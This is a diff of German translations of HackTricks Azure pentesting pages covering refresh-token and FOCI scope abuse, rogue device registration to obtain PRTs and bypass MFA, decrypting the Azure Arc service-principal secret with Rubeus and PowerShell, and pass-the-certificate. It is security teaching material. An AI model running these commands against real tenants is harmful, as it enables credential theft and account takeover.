Scopes (und nicht mehr) und diesen Mandanten zu generieren. Dies ist jedoch nicht der Fall bei **FOCI-Anwendungstoken**. +- **Aktualisierungstokens**: Werden dem Client mit dem Zugriffstoken bereitgestellt. Wird verwendet, um **neue Zugriffs- und ID-Tokens zu erhalten**. Es ist an eine spezifische Kombination aus Benutzer und Client gebunden und kann widerrufen werden. Die standardmäßige Ablaufzeit beträgt **90 Tage** für inaktive Aktualisierungstokens und **keine Ablaufzeit für aktive Tokens** (es ist möglich, aus einem Aktualisierungstoken neue Aktualisierungstokens zu erhalten). +- Ein Aktualisierungstoken sollte an ein **`aud`**, an einige **Scopes** und an einen **Mandanten** gebunden sein und sollte nur in der Lage sein, Zugriffstoken für dieses aud, diese Scopes (und nicht mehr) und diesen Mandanten zu generieren. Dies ist jedoch nicht der Fall bei **FOCI-Anwendungstokens**. - Ein Aktualisierungstoken ist verschlüsselt und nur Microsoft kann es entschlüsseln. - Das Erhalten eines neuen Aktualisierungstokens widerruft das vorherige Aktualisierungstoken nicht. @@ -54,18 +54,18 @@ Es gibt **drei Arten von Tokens**, die in OIDC verwendet werden: ### Zugriffstoken "aud" -Das im Feld "aud" angegebene Feld ist der **Ressourcenserver** (die Anwendung), der verwendet wird, um die Anmeldung durchzuführen. +Das im "aud"-Feld angegebene Feld ist der **Ressourcenserver** (die Anwendung), der verwendet wird, um die Anmeldung durchzuführen. Der Befehl `az account get-access-token --resource-type [...]` unterstützt die folgenden Typen, und jeder von ihnen wird ein spezifisches "aud" im resultierenden Zugriffstoken hinzufügen: > [!CAUTION] -> Beachten Sie, dass dies nur die von `az account get-access-token` unterstützten APIs sind, es gibt jedoch weitere. +> Beachten Sie, dass die folgenden nur die von `az account get-access-token` unterstützten APIs sind, es gibt jedoch weitere.
aud Beispiele -- **aad-graph (Azure Active Directory Graph API)**: Wird verwendet, um auf die veraltete Azure AD Graph API (abgekündigt) zuzugreifen, die Anwendungen ermöglicht, Verzeichnisdaten in Azure Active Directory (Azure AD) zu lesen und zu schreiben. +- **aad-graph (Azure Active Directory Graph API)**: Wird verwendet, um auf die veraltete Azure AD Graph API (abgekündigt) zuzugreifen, die Anwendungen das Lesen und Schreiben von Verzeichnisdaten in Azure Active Directory (Azure AD) ermöglicht. - `https://graph.windows.net/` * **arm (Azure Resource Manager)**: Wird verwendet, um Azure-Ressourcen über die Azure Resource Manager API zu verwalten. Dazu gehören Operationen wie das Erstellen, Aktualisieren und Löschen von Ressourcen wie virtuellen Maschinen, Speicherkonten und mehr. @@ -92,7 +92,7 @@ Der Befehl `az account get-access-token --resource-type [...]` unterstützt die Der Scope eines Zugriffstokens wird im scp-Schlüssel innerhalb des Zugriffstoken-JWT gespeichert. Diese Scopes definieren, auf was das Zugriffstoken Zugriff hat. -Wenn ein JWT berechtigt ist, eine bestimmte API zu kontaktieren, aber **nicht den Scope** hat, um die angeforderte Aktion auszuführen, **kann es die Aktion nicht** mit diesem JWT ausführen. +Wenn ein JWT berechtigt ist, eine spezifische API zu kontaktieren, aber **nicht den Scope** hat, um die angeforderte Aktion auszuführen, **kann es die Aktion nicht mit diesem JWT ausführen**. ### Beispiel zum Abrufen von Aktualisierungs- und Zugriffstoken ```python @@ -121,7 +121,6 @@ device_flow pprint(azure_cli_bearer_tokens_for_graph_api) - # DECODE JWT def decode_jwt(base64_blob: str) -> Dict[str, Any]: """Decodes base64 encoded JWT blob""" @@ -149,15 +148,15 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api) Zuvor wurde erwähnt, dass Refresh-Token an die **Scopes** gebunden sein sollten, mit denen sie generiert wurden, an die **Anwendung** und den **Mandanten**, für die sie generiert wurden. Wenn eine dieser Grenzen überschritten wird, ist es möglich, Privilegien zu eskalieren, da es möglich sein wird, Zugriffstoken für andere Ressourcen und Mandanten zu generieren, auf die der Benutzer Zugriff hat, und mit mehr Scopes, als ursprünglich beabsichtigt. -Darüber hinaus **ist dies mit allen Refresh-Token** in der [Microsoft-Identitätsplattform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra-Konten, Microsoft-Persönliche Konten und soziale Konten wie Facebook und Google) möglich, da die [**Dokumentation**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) erwähnt: "Refresh-Token sind an eine Kombination aus Benutzer und Client gebunden, aber **nicht an eine Ressource oder einen Mandanten gebunden**. Ein Client kann ein Refresh-Token verwenden, um Zugriffstoken **über jede Kombination von Ressource und Mandant** zu erwerben, für die er die Berechtigung hat. Refresh-Token sind verschlüsselt und nur die Microsoft-Identitätsplattform kann sie lesen." +Darüber hinaus **ist dies mit allen Refresh-Token** in der [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra-Konten, Microsoft-Persönliche Konten und soziale Konten wie Facebook und Google) möglich, da die [**Dokumentation**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) erwähnt: "Refresh-Token sind an eine Kombination aus Benutzer und Client gebunden, aber **nicht an eine Ressource oder einen Mandanten gebunden**. Ein Client kann ein Refresh-Token verwenden, um Zugriffstoken **über jede Kombination von Ressource und Mandant** zu erwerben, für die er die Berechtigung hat. Refresh-Token sind verschlüsselt und nur die Microsoft identity platform kann sie lesen." -Darüber hinaus beachten Sie, dass die FOCI-Anwendungen öffentliche Anwendungen sind, sodass **kein Geheimnis erforderlich ist**, um sich beim Server zu authentifizieren. +Beachten Sie außerdem, dass die FOCI-Anwendungen öffentliche Anwendungen sind, sodass **kein Geheimnis erforderlich ist**, um sich beim Server zu authentifizieren. -Dann bekannte FOCI-Clients, die in der [**ursprünglichen Forschung**](https://github.com/secureworks/family-of-client-ids-research/tree/main) gemeldet wurden, können [**hier gefunden werden**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). +Bekannte FOCI-Clients, die in der [**ursprünglichen Forschung**](https://github.com/secureworks/family-of-client-ids-research/tree/main) berichtet wurden, können [**hier gefunden werden**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). -### Anderen Scope erhalten +### Anderen Scope abrufen -Folgend mit dem vorherigen Beispielcode wird in diesem Code ein neues Token für einen anderen Scope angefordert: +Im Folgenden wird im vorherigen Beispielcode ein neues Token für einen anderen Scope angefordert: ```python # Code from https://github.com/secureworks/family-of-client-ids-research azure_cli_bearer_tokens_for_outlook_api = ( diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index 454113943..6be84959e 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -1,4 +1,4 @@ -# Az - Device Registration +# Az - Geräte Registrierung {{#include ../../banners/hacktricks-training.md}} @@ -6,15 +6,15 @@ Wenn ein Gerät AzureAD beitritt, wird ein neues Objekt in AzureAD erstellt. -Bei der Registrierung eines Geräts wird der **Benutzer aufgefordert, sich mit seinem Konto anzumelden** (bei Bedarf wird nach MFA gefragt), dann werden Token für den Dienst zur Geräteregistrierung angefordert und schließlich wird eine letzte Bestätigungsaufforderung angezeigt. +Bei der Registrierung eines Geräts wird **der Benutzer aufgefordert, sich mit seinem Konto anzumelden** (bei Bedarf wird nach MFA gefragt), dann werden Token für den Geräte Registrierungsdienst angefordert und anschließend wird eine endgültige Bestätigungsaufforderung angezeigt. Dann werden zwei RSA-Schlüsselpaar in dem Gerät generiert: Der **Geräteschlüssel** (**öffentlicher** Schlüssel), der an **AzureAD** gesendet wird, und der **Transport**-Schlüssel (**privater** Schlüssel), der, wenn möglich, im TPM gespeichert wird. -Dann wird das **Objekt** in **AzureAD** (nicht in Intune) generiert und AzureAD gibt dem Gerät ein **Zertifikat**, das von ihm signiert ist, zurück. Sie können überprüfen, ob das **Gerät AzureAD-verbunden** ist und Informationen über das **Zertifikat** (wie ob es durch TPM geschützt ist) erhalten. +Dann wird das **Objekt** in **AzureAD** (nicht in Intune) generiert und AzureAD gibt dem Gerät ein **Zertifikat** zurück, das von ihm signiert ist. Sie können überprüfen, ob das **Gerät AzureAD beigetreten** ist und Informationen über das **Zertifikat** (wie ob es durch TPM geschützt ist) erhalten. ```bash dsregcmd /status ``` -Nach der Geräteregistrierung wird ein **Primary Refresh Token** vom LSASS CloudAP-Modul angefordert und dem Gerät übergeben. Mit dem PRT wird auch der **Session-Key geliefert, der so verschlüsselt ist, dass nur das Gerät ihn entschlüsseln kann** (unter Verwendung des öffentlichen Schlüssels des Transport-Schlüssels) und er ist **notwendig, um das PRT zu verwenden.** +Nach der Geräteregistrierung wird ein **Primary Refresh Token** vom LSASS CloudAP-Modul angefordert und dem Gerät übergeben. Mit dem PRT wird auch der **Sitzungsschlüssel geliefert, der so verschlüsselt ist, dass nur das Gerät ihn entschlüsseln kann** (unter Verwendung des öffentlichen Schlüssels des Transportkeys) und er ist **notwendig, um das PRT zu verwenden.** Für weitere Informationen darüber, was ein PRT ist, siehe: @@ -24,10 +24,10 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md ### TPM - Trusted Platform Module -Der **TPM** **schützt** vor der Schlüssel-**Extraktion** von einem heruntergefahrenen Gerät (wenn durch PIN geschützt) und vor der Extraktion des privaten Materials aus der OS-Schicht.\ -Aber er **schützt nicht** vor dem **Sniffing** der physischen Verbindung zwischen dem TPM und der CPU oder dem **Verwenden des kryptografischen Materials** im TPM, während das System von einem Prozess mit **SYSTEM**-Rechten läuft. +Der **TPM** **schützt** vor der Schlüssel-**Extraktion** von einem heruntergefahrenen Gerät (wenn es durch eine PIN geschützt ist) und vor der Extraktion des privaten Materials aus der OS-Schicht.\ +Aber er **schützt nicht** vor dem **Sniffing** der physischen Verbindung zwischen dem TPM und der CPU oder dem **Verwenden des kryptografischen Materials** im TPM, während das System von einem Prozess mit **SYSTEM**-Rechten ausgeführt wird. -Wenn Sie die folgende Seite überprüfen, werden Sie sehen, dass **das Stehlen des PRT** verwendet werden kann, um wie ein **Benutzer** zuzugreifen, was großartig ist, da das **PRT auf Geräten** gespeichert ist, sodass es von ihnen gestohlen werden kann (oder, wenn es nicht gestohlen wird, missbraucht werden kann, um neue Signaturschlüssel zu generieren): +Wenn Sie die folgende Seite überprüfen, werden Sie sehen, dass **das Stehlen des PRT** verwendet werden kann, um wie ein **Benutzer** zuzugreifen, was großartig ist, da das **PRT sich auf Geräten befindet**, sodass es von ihnen gestohlen werden kann (oder, wenn es nicht gestohlen wird, missbraucht werden kann, um neue Signaturschlüssel zu generieren): {{#ref}} az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -47,7 +47,7 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie # Custom pyhton script to register a device (check roadtx) registerdevice.py ``` -Welche Ihnen ein **Zertifikat gibt, das Sie in Zukunft verwenden können, um PRTs anzufordern**. Dadurch wird die Persistenz aufrechterhalten und **MFA umgangen**, da das ursprüngliche PRT-Token, das zur Registrierung des neuen Geräts verwendet wurde, **bereits MFA-Berechtigungen gewährt hatte**. +Welche Ihnen ein **Zertifikat gibt, das Sie in Zukunft für PRTs anfordern können**. Dadurch wird die Persistenz aufrechterhalten und **MFA umgangen**, da das ursprüngliche PRT-Token, das zur Registrierung des neuen Geräts verwendet wurde, **bereits MFA-Berechtigungen gewährt hatte**. > [!TIP] > Beachten Sie, dass Sie für diesen Angriff Berechtigungen zur **Registrierung neuer Geräte** benötigen. Außerdem bedeutet die Registrierung eines Geräts nicht, dass das Gerät **in Intune eingeschrieben werden darf**. @@ -55,9 +55,9 @@ Welche Ihnen ein **Zertifikat gibt, das Sie in Zukunft verwenden können, um PRT > [!CAUTION] > Dieser Angriff wurde im September 2021 behoben, da Sie keine neuen Geräte mehr mit SSO-Token registrieren können. Es ist jedoch weiterhin möglich, Geräte auf legitime Weise zu registrieren (mit Benutzername, Passwort und MFA, falls erforderlich). Überprüfen Sie: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md). -## Überschreiben eines Geräteschlüssels +## Überschreiben eines Gerätescheins -Es war möglich, **einen Geräteschlüssel anzufordern**, den aktuellen des Geräts zu **überschreiben** und während des Ablaufs **den PRT zu stehlen** (es ist also nicht notwendig, ihn vom TPM zu stehlen. Für weitere Informationen [**sehen Sie sich diesen Vortrag an**](https://youtu.be/BduCn8cLV1A). +Es war möglich, einen **Geräteschein anzufordern**, den aktuellen des Geräts zu **überschreiben** und während des Ablaufs den **PRT zu stehlen** (es ist also nicht notwendig, ihn vom TPM zu stehlen. Für weitere Informationen [**sehen Sie sich diesen Vortrag an**](https://youtu.be/BduCn8cLV1A).
@@ -70,15 +70,15 @@ Es war möglich, **einen Geräteschlüssel anzufordern**, den aktuellen des Ger Angriffsübersicht: -- Es ist möglich, den **registrierten WHFB**-Schlüssel von einem **Gerät** über SSO zu **überschreiben**. -- Es **umgeht den TPM-Schutz**, da der Schlüssel **während der Generierung** des neuen Schlüssels **abgefangen** wird. -- Dies bietet auch **Persistenz**. +- Es ist möglich, den **registrierten WHFB**-Schlüssel von einem **Gerät** über SSO zu **überschreiben** +- Es **umgeht den TPM-Schutz**, da der Schlüssel **während der Generierung** des neuen Schlüssels **abgefangen** wird +- Dies bietet auch **Persistenz**
-Benutzer können ihr eigenes searchableDeviceKey-Attribut über das Azure AD Graph ändern, jedoch muss der Angreifer ein Gerät im Mandanten haben (entweder spontan registriert oder ein gestohlenes Zertifikat + Schlüssel von einem legitimen Gerät) und ein gültiges Zugriffstoken für das AAD Graph besitzen. +Benutzer können ihr eigenes searchableDeviceKey-Attribut über das Azure AD Graph ändern, jedoch muss der Angreifer ein Gerät im Mandanten haben (entweder spontan registriert oder ein gestohlenes Zertifikat + Schlüssel von einem legitimen Gerät) und ein gültiges Zugriffstoken für das AAD Graph. -Dann ist es möglich, einen neuen Schlüssel zu generieren mit: +Dann ist es möglich, einen neuen Schlüssel mit: ```bash roadtx genhellokey -d -k tempkey.key ``` diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 30b4d91e1..8ddd05d0e 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -47,11 +47,11 @@ pwsh brew update brew upgrade powershell ``` -## Hauptenumerationstools +## Haupt-Enumeration-Tools ### az cli -[**Azure-Befehlszeilenschnittstelle (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) ist ein plattformübergreifendes Tool, das in Python geschrieben wurde, um (die meisten) Azure- und Entra ID-Ressourcen zu verwalten und zu administrieren. Es verbindet sich mit Azure und führt administrative Befehle über die Befehlszeile oder Skripte aus. +[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) ist ein plattformübergreifendes Tool, das in Python geschrieben wurde, um (die meisten) Azure- und Entra ID-Ressourcen zu verwalten und zu administrieren. Es verbindet sich mit Azure und führt administrative Befehle über die Befehlszeile oder Skripte aus. Folgen Sie diesem Link für die [**Installationsanweisungen¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install). @@ -63,7 +63,7 @@ Mit dem Parameter **`--debug`** ist es möglich, alle Anfragen zu sehen, die das ```bash az account management-group list --output table --debug ``` -Um ein **MitM** auf das Tool durchzuführen und **alle Anfragen**, die es manuell sendet, zu überprüfen, kannst du Folgendes tun: +Um einen **MitM** auf das Tool durchzuführen und **alle Anfragen**, die es manuell sendet, zu überprüfen, kannst du Folgendes tun: {{#tabs }} {{#tab name="Bash" }} @@ -109,7 +109,7 @@ Um ein **MitM** auf das Tool durchzuführen und **alle Anfragen**, die es manuel ### Microsoft Graph PowerShell -Microsoft Graph PowerShell ist ein plattformübergreifendes SDK, das den Zugriff auf alle Microsoft Graph APIs ermöglicht, einschließlich Dienste wie SharePoint, Exchange und Outlook, über einen einzigen Endpunkt. Es unterstützt PowerShell 7+, moderne Authentifizierung über MSAL, externe Identitäten und erweiterte Abfragen. Mit einem Fokus auf den minimalen Zugriff gewährleistet es sichere Operationen und erhält regelmäßige Updates, um mit den neuesten Funktionen der Microsoft Graph API in Einklang zu stehen. +Microsoft Graph PowerShell ist ein plattformübergreifendes SDK, das den Zugriff auf alle Microsoft Graph APIs ermöglicht, einschließlich Dienste wie SharePoint, Exchange und Outlook, über einen einzigen Endpunkt. Es unterstützt PowerShell 7+, moderne Authentifizierung über MSAL, externe Identitäten und erweiterte Abfragen. Mit einem Fokus auf minimalen Zugriff gewährleistet es sichere Operationen und erhält regelmäßige Updates, um mit den neuesten Funktionen der Microsoft Graph API in Einklang zu stehen. Folgen Sie diesem Link für die [**Installationsanweisungen**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index 615c2ed46..9a50dfe2f 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -28,10 +28,10 @@ Es gibt verschiedene Möglichkeiten, wie eine Maschine mit der Cloud verbunden s In Azure AD gibt es verschiedene Arten von Tokens mit spezifischen Einschränkungen: -- **Zugriffstoken**: Werden verwendet, um auf APIs und Ressourcen wie Microsoft Graph zuzugreifen. Sie sind an einen bestimmten Client und eine Ressource gebunden. -- **Aktualisierungstoken**: Werden an Anwendungen ausgegeben, um neue Zugriffstoken zu erhalten. Sie können nur von der Anwendung verwendet werden, an die sie ausgegeben wurden, oder von einer Gruppe von Anwendungen. -- **Primäre Aktualisierungstoken (PRT)**: Werden für die einmalige Anmeldung auf Azure AD verbundenen, registrierten oder hybrid verbundenen Geräten verwendet. Sie können in Anmeldeflüssen im Browser und für die Anmeldung bei mobilen und Desktop-Anwendungen auf dem Gerät verwendet werden. -- **Windows Hello for Business-Schlüssel (WHFB)**: Werden für passwortlose Authentifizierung verwendet. Sie werden verwendet, um primäre Aktualisierungstoken zu erhalten. +- **Zugriffstokens**: Werden verwendet, um auf APIs und Ressourcen wie den Microsoft Graph zuzugreifen. Sie sind an einen bestimmten Client und eine Ressource gebunden. +- **Aktualisierungstokens**: Werden an Anwendungen ausgegeben, um neue Zugriffstokens zu erhalten. Sie können nur von der Anwendung verwendet werden, an die sie ausgegeben wurden, oder von einer Gruppe von Anwendungen. +- **Primäre Aktualisierungstokens (PRT)**: Werden für die einmalige Anmeldung auf Azure AD verbundenen, registrierten oder hybrid verbundenen Geräten verwendet. Sie können in Anmeldeflüssen im Browser und für die Anmeldung bei mobilen und Desktop-Anwendungen auf dem Gerät verwendet werden. +- **Windows Hello for Business-Schlüssel (WHFB)**: Werden für passwortlose Authentifizierung verwendet. Sie werden verwendet, um primäre Aktualisierungstokens zu erhalten. Die interessanteste Art von Token ist das primäre Aktualisierungstoken (PRT). @@ -44,9 +44,9 @@ az-primary-refresh-token-prt.md Von der **kompromittierten Maschine zur Cloud**: - [**Pass the Cookie**](az-pass-the-cookie.md): Azure-Cookies aus dem Browser stehlen und verwenden, um sich anzumelden -- [**Dump processes access tokens**](az-processes-memory-access-token.md): Den Speicher lokaler Prozesse, die mit der Cloud synchronisiert sind (wie Excel, Teams...), dumpen und Zugriffstoken im Klartext finden. -- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Das PRT phishen, um es auszunutzen -- [**Pass the PRT**](pass-the-prt.md): Das Geräte-PRT stehlen, um Azure zuzugreifen und sich als es auszugeben. +- [**Dump processes access tokens**](az-processes-memory-access-token.md): Den Speicher lokaler Prozesse, die mit der Cloud synchronisiert sind (wie Excel, Teams...), dumpen und Zugriffstokens im Klartext finden. +- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** PRT phishen, um es auszunutzen +- [**Pass the PRT**](pass-the-prt.md): Das Geräte-PRT stehlen, um Azure zu impersonieren. - [**Pass the Certificate**](az-pass-the-certificate.md)**:** Ein Zertifikat basierend auf dem PRT generieren, um sich von einer Maschine zur anderen anzumelden Von der Kompromittierung **AD** zur Kompromittierung der **Cloud** und von der Kompromittierung der **Cloud** zur Kompromittierung **AD**: diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index e6ba9af8a..fb74f9dba 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -4,16 +4,16 @@ ### Identifizierung der Probleme -Azure Arc ermöglicht die Integration neuer interner Server (verbundene Domänenserver) in Azure Arc mithilfe der Group Policy Object-Methode. Um dies zu erleichtern, stellt Microsoft ein Bereitstellungstoolkit zur Verfügung, das für den Start des Onboarding-Verfahrens erforderlich ist. Im ArcEnableServerGroupPolicy.zip-Datei finden sich die folgenden Skripte: DeployGPO.ps1, EnableAzureArc.ps1 und AzureArcDeployment.psm1. +Azure Arc ermöglicht die Integration neuer interner Server (verbundene Domänenserver) in Azure Arc mithilfe der Group Policy Object-Methode. Um dies zu erleichtern, stellt Microsoft ein Bereitstellungstoolkit zur Verfügung, das für den Onboarding-Prozess erforderlich ist. Im ArcEnableServerGroupPolicy.zip-Datei finden sich die folgenden Skripte: DeployGPO.ps1, EnableAzureArc.ps1 und AzureArcDeployment.psm1. Beim Ausführen des DeployGPO.ps1-Skripts werden die folgenden Aktionen durchgeführt: 1. Erstellt die Azure Arc Servers Onboarding GPO innerhalb der lokalen Domäne. 2. Kopiert das EnableAzureArc.ps1 Onboarding-Skript in den vorgesehenen Netzwerkfreigabe, die für den Onboarding-Prozess erstellt wurde und auch das Windows-Installationspaket enthält. -Beim Ausführen dieses Skripts müssen die Systemadministratoren zwei Hauptparameter angeben: **ServicePrincipalId** und **ServicePrincipalClientSecret**. Darüber hinaus sind weitere Parameter wie die Domäne, der FQDN des Servers, der die Freigabe hostet, und der Freigabename erforderlich. Weitere Details wie die Mandanten-ID, die Ressourcengruppe und andere notwendige Informationen müssen ebenfalls dem Skript bereitgestellt werden. +Beim Ausführen dieses Skripts müssen Systemadministratoren zwei Hauptparameter angeben: **ServicePrincipalId** und **ServicePrincipalClientSecret**. Darüber hinaus sind weitere Parameter wie die Domäne, der FQDN des Servers, der die Freigabe hostet, und der Freigabename erforderlich. Weitere Details wie die Mandanten-ID, die Ressourcengruppe und andere notwendige Informationen müssen ebenfalls dem Skript bereitgestellt werden. -Ein verschlüsseltes Geheimnis wird im AzureArcDeploy-Verzeichnis auf der angegebenen Freigabe unter Verwendung der DPAPI-NG-Verschlüsselung generiert. Das verschlüsselte Geheimnis wird in einer Datei mit dem Namen encryptedServicePrincipalSecret gespeichert. Hinweise darauf finden sich im DeployGPO.ps1-Skript, wo die Verschlüsselung durch den Aufruf von ProtectBase64 mit $descriptor und $ServicePrincipalSecret als Eingaben erfolgt. Der Descriptor besteht aus den SID der Domain Computer und der Domain Controller-Gruppe, wodurch sichergestellt wird, dass das ServicePrincipalSecret nur von den Sicherheitsgruppen der Domain Controller und Domain Computer entschlüsselt werden kann, wie in den Kommentaren des Skripts vermerkt. +Ein verschlüsseltes Geheimnis wird im AzureArcDeploy-Verzeichnis auf der angegebenen Freigabe unter Verwendung der DPAPI-NG-Verschlüsselung generiert. Das verschlüsselte Geheimnis wird in einer Datei mit dem Namen encryptedServicePrincipalSecret gespeichert. Ein Beweis dafür findet sich im DeployGPO.ps1-Skript, wo die Verschlüsselung durch den Aufruf von ProtectBase64 mit $descriptor und $ServicePrincipalSecret als Eingaben erfolgt. Der Descriptor besteht aus den SID der Domain Computer und der Domain Controller-Gruppe, wodurch sichergestellt wird, dass das ServicePrincipalSecret nur von den Sicherheitsgruppen der Domain Controllers und Domain Computers entschlüsselt werden kann, wie in den Kommentaren des Skripts vermerkt. ```powershell # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID @@ -43,7 +43,7 @@ runas /user:fake01$ /netonly powershell ```powershell .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr ``` -Indem wir das TGT für unser Computer-Konto im Speicher haben, können wir das folgende Skript verwenden, um das Geheimnis des Dienstprinzipals zu entschlüsseln. +Durch das Speichern des TGT für unser Computer-Konto im Speicher können wir das folgende Skript verwenden, um das Geheimnis des Dienstprinzipals zu entschlüsseln. ```powershell Import-Module .\AzureArcDeployment.psm1 @@ -54,9 +54,9 @@ $ebs ``` Alternativ können wir [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG) verwenden. -An diesem Punkt können wir die verbleibenden Informationen sammeln, die benötigt werden, um eine Verbindung zu Azure herzustellen, aus der ArcInfo.json-Datei, die sich im selben Netzwerkfreigabe wie die encryptedServicePrincipalSecret-Datei befindet. Diese Datei enthält Details wie: TenantId, servicePrincipalClientId, ResourceGroup und mehr. Mit diesen Informationen können wir Azure CLI verwenden, um uns als der kompromittierte Dienstprinzipal zu authentifizieren. +An diesem Punkt können wir die verbleibenden Informationen sammeln, die benötigt werden, um eine Verbindung zu Azure herzustellen, aus der ArcInfo.json-Datei, die sich im selben Netzwerkfreigabe wie die encryptedServicePrincipalSecret-Datei befindet. Diese Datei enthält Details wie: TenantId, servicePrincipalClientId, ResourceGroup und mehr. Mit diesen Informationen können wir Azure CLI verwenden, um uns als kompromittierter Dienstprinzipal zu authentifizieren. -## References +## Referenzen - [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index 3705bbea7..0f8263596 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -12,7 +12,7 @@ Tokens und sensible Daten werden lokal von Azure CLI gespeichert, was Sicherheit 2. **Abonnementinformationen**: `azureProfile.json`, im selben Verzeichnis, enthält Abonnementdetails. 3. **Protokolldateien**: Der Ordner `ErrorRecords` innerhalb von `.azure` könnte Protokolle mit exponierten Anmeldeinformationen enthalten, wie z.B.: - Ausgeführte Befehle mit eingebetteten Anmeldeinformationen. -- Über Tokens aufgerufene URLs, die möglicherweise sensible Informationen offenbaren. +- Über Tokens aufgerufene URLs, die potenziell sensible Informationen offenbaren. ### Azure PowerShell @@ -20,7 +20,7 @@ Azure PowerShell speichert ebenfalls Tokens und sensible Daten, die lokal abgeru 1. **Zugriffstoken**: `TokenCache.dat`, das sich unter `C:\Users\\.Azure` befindet, speichert Zugriffstoken im Klartext. 2. **Geheimnisse des Dienstprinzipals**: Diese werden unverschlüsselt in `AzureRmContext.json` gespeichert. -3. **Token-Speicherfunktion**: Benutzer haben die Möglichkeit, Tokens mit dem Befehl `Save-AzContext` zu speichern, der vorsichtig verwendet werden sollte, um unbefugten Zugriff zu verhindern. +3. **Token-Speicherfunktion**: Benutzer haben die Möglichkeit, Tokens mit dem Befehl `Save-AzContext` zu speichern, was vorsichtig verwendet werden sollte, um unbefugten Zugriff zu verhindern. ## Automatische Tools zur Auffindung @@ -34,6 +34,6 @@ Angesichts der Speicherung sensibler Daten im Klartext ist es entscheidend, dies - Einschränkung der Zugriffsrechte auf diese Dateien. - Regelmäßige Überwachung und Prüfung dieser Verzeichnisse auf unbefugten Zugriff oder unerwartete Änderungen. - Einsatz von Verschlüsselung für sensible Dateien, wo möglich. -- Schulung der Benutzer über die Risiken und bewährten Verfahren im Umgang mit solchen sensiblen Informationen. +- Schulung der Benutzer über die Risiken und bewährten Praktiken im Umgang mit solchen sensiblen Informationen. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index 4dac9d762..2ceac9ed6 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -24,7 +24,7 @@ Es ist möglich, ein **P2P-Zertifikat** für den Benutzer mit dem Tool [**PrtToC ```bash RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE] ``` -Die Zertifikate haben die gleiche Gültigkeit wie das PRT. Um das Zertifikat zu verwenden, können Sie das Python-Tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) verwenden, das sich **authentifiziert** und **PSEXEC** ausführt sowie eine CMD auf der Zielmaschine öffnet. Dies ermöglicht es uns, Mimikatz erneut zu verwenden, um das PRT eines anderen Benutzers zu erhalten. +Die Zertifikate haben die gleiche Gültigkeit wie das PRT. Um das Zertifikat zu verwenden, können Sie das Python-Tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) verwenden, das sich **authentifiziert** und **PSEXEC** ausführt sowie eine CMD auf der Opfermaschine öffnet. Dies ermöglicht es uns, Mimikatz 